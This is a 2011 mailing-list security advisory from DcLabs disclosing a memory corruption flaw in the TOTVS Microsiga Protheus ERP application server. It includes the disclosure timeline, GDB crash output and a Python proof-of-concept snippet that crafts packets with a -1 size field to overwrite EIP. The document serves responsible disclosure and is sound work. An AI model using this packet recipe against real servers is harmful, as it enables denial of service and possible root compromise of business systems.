[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[DCA-2011-0010] TOTVS Microsiga Protheus ERP - Memory Corruption
- To: bugtraq@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [DCA-2011-0010] TOTVS Microsiga Protheus ERP - Memory Corruption
- From: Flavio do Carmo Junior aka waKKu <carmo.flavio@xxxxxxxxxxxxx>
- Date: Tue, 12 Apr 2011 18:48:10 -0300
[DCA-2011-0010]
[Discussion]
- DcLabs Security Research Group advises about following vulnerability(ies):
[Software]
- TOTVS ERP Microsiga Protheus (Application Server)
[Vendor Product Description]
- Software de Gestão - TOTVS
- TOTVS is a software company, innovation, relationship and support
management, the absolute leader in Brazil with 49.1% market share, and
also in Latin America with 31.2% *, is the largest software company
applications based in emerging countries and the 7th largest in the world
setor.Tem more than 25,200 active clients, has the support of 9000
Participants and is present in 23 countries.
Value Proposition
Make the company more competitive with faster decision
offering solutions that organize, regulate, define and enforce
processes, store data, generate information and assist management.
- Source: http://totvs.com.br/web/guest/software (Translated using
Google Translator)
[Advisory Timeline]
- 10/Mar/2011 -> Vendor notified.
- 22/Mar/2011 -> Vendor asks for more information.
- 22/Mar/2011 -> Information and PoC sent
- 24/Mar/2011 -> Vendor accepts vulnerability and ask to postpone
publication date.
- 24/Mar/2011 -> Publication date agreed to 10/Apr/2011
- 07/Apr/2011 -> Vendor releases a new version addressing the flaw.
- 12/Apr/2011 -> Advisory published.
[Bug Summary]
- Memory Corruption (likely code execution)
[Impact]
- Medium/High
[Affected Version]
- Microsiga Protheus 8 (20081215030344)
- Microsiga Protheus 10 (20100812040605)
- Other versions can also be affected but weren't tested.
[Bug Description and Proof of Concept]
+ Memory Corruption
Apparently application server uses an user controled value as "size"
parameter to a "memmove()" function, therefore we have control of
number of bytes being moved. If we use a huge value we can lead
application to overwrite EIP and cause a Denial of Service.
--- GDB OUTPUT BEGIN ---
# gdb -p 12748
Attaching to process 12748
Reading symbols from
/microsiga/protheus10/bin/appserver/totvssrvlinux...(no debugging
symbols found)...done.
--- snippet output ---
warning: Lowest section in system-supplied DSO at 0xffffe000 is .hash
at ffffe0b4
0xffffe410 in __kernel_vsyscall ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 4117961632 (LWP 12775)]
0x6b035205 in ?? ()
(gdb) bt
#0 0x6b035205 in ?? ()
#1 0x080917ed in pthread_equal ()
#2 0x08bd7389 in ?? ()
#3 0x08c04398 in ?? ()
#4 0x08ba2c21 in ?? ()
#5 0x08ba3a88 in ?? ()
#6 0x08ba3c1f in ?? ()
#7 0x08bcda16 in ?? ()
#8 0x08091c4b in pthread_equal ()
#9 0x08b85239 in ?? ()
#10 0x08b856d6 in ?? ()
#11 0xf7ef22ab in start_thread () from /lib/libpthread.so.0
#12 0xf7e59dbe in clone () from /lib/libc.so.6
(gdb) x/10i $eip
0x6b035205: Cannot access memory at address 0x6b035205
(gdb) i r
eax 0xbee7780 200177536
ecx 0x2 2
edx 0x1 1
ebx 0xf57306d0 -177010992
esp 0xf57306ac 0xf57306ac
ebp 0xf5730708 0xf5730708
esi 0xf57306d8 -177010984
edi 0x6315 25365
eip 0x6b035205 0x6b035205
eflags 0x10283 [ CF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) quit
--- GDB OUTPUT END ---
We clearly overwrote EIP register, pointing it to a nonsense location.
Here is a snippet of a python exploit:
--- CODE SNIPPET BEGIN ---
if options.target == 8:
version = "20081215030344"
else:
version = "20100812040605"
packet_handshake = (
"%14s"
"\x00\x01"
"%36s\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"%32s\x00"
"%s\x00"
"\x00\x00\x14\x01"
) % ("A"*14, "B"*36, "C"*32, version)
packet_environ = (
"\x42\x00\x00\x00\x21\xab\x42\x00\x00\x00"
"\xff\xff\xff\xff" # Memory Corruption (-1 as size)
# "\x38\x00\x00\x00" # OK (56 bytes)
"\x01\x00\x3e\x82\x01\x03\x02\x04\x00\x00"
"\x00\x00%7s\x00\x00\x00\x00\x00\x00"
"%11s\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"
) % ("D"*7, "E"*11)
--- CODE SNIPPET END ---
--- GDB OUTPUT BEGIN ---
(gdb) print /d (int)0x00000038
$4 = 56
(gdb) print /d (unsigned int)0x00000038
$5 = 56
(gdb) print /d (int)0xffffffff
$6 = -1
(gdb) print /d (unsigned int)0xffffffff
$7 = 4294967295
--- GDB OUTPUT END ---
* I didn't get deep this flaw, but I believe that it could lead to a
Remote Command Execution (perhaps using a heap-spray) and once
Protheus Application Server runs as super user (root) it means full
server compromised.
----------------------------------------------------------------------------------------
All flaws described here were discovered and researched by:
Flávio do Carmo Júnior aka waKKu.
DcLabs Security Research Group
carmo.flavio <AT> dclabs <DOT> com <DOT> br
[Solution / Workarounds]
- A new version addressing this flaw is available under customers
portal website since 07/Apr and is recommended to update.
[Credits]
DcLabs Security Research Group.
--
--
Atenciosamente,
Flávio do Carmo Júnior aka waKKu @ DcLabs
Florianópolis/SC
http://br.linkedin.com/in/carmoflavio
http://0xcd80.wordpress.com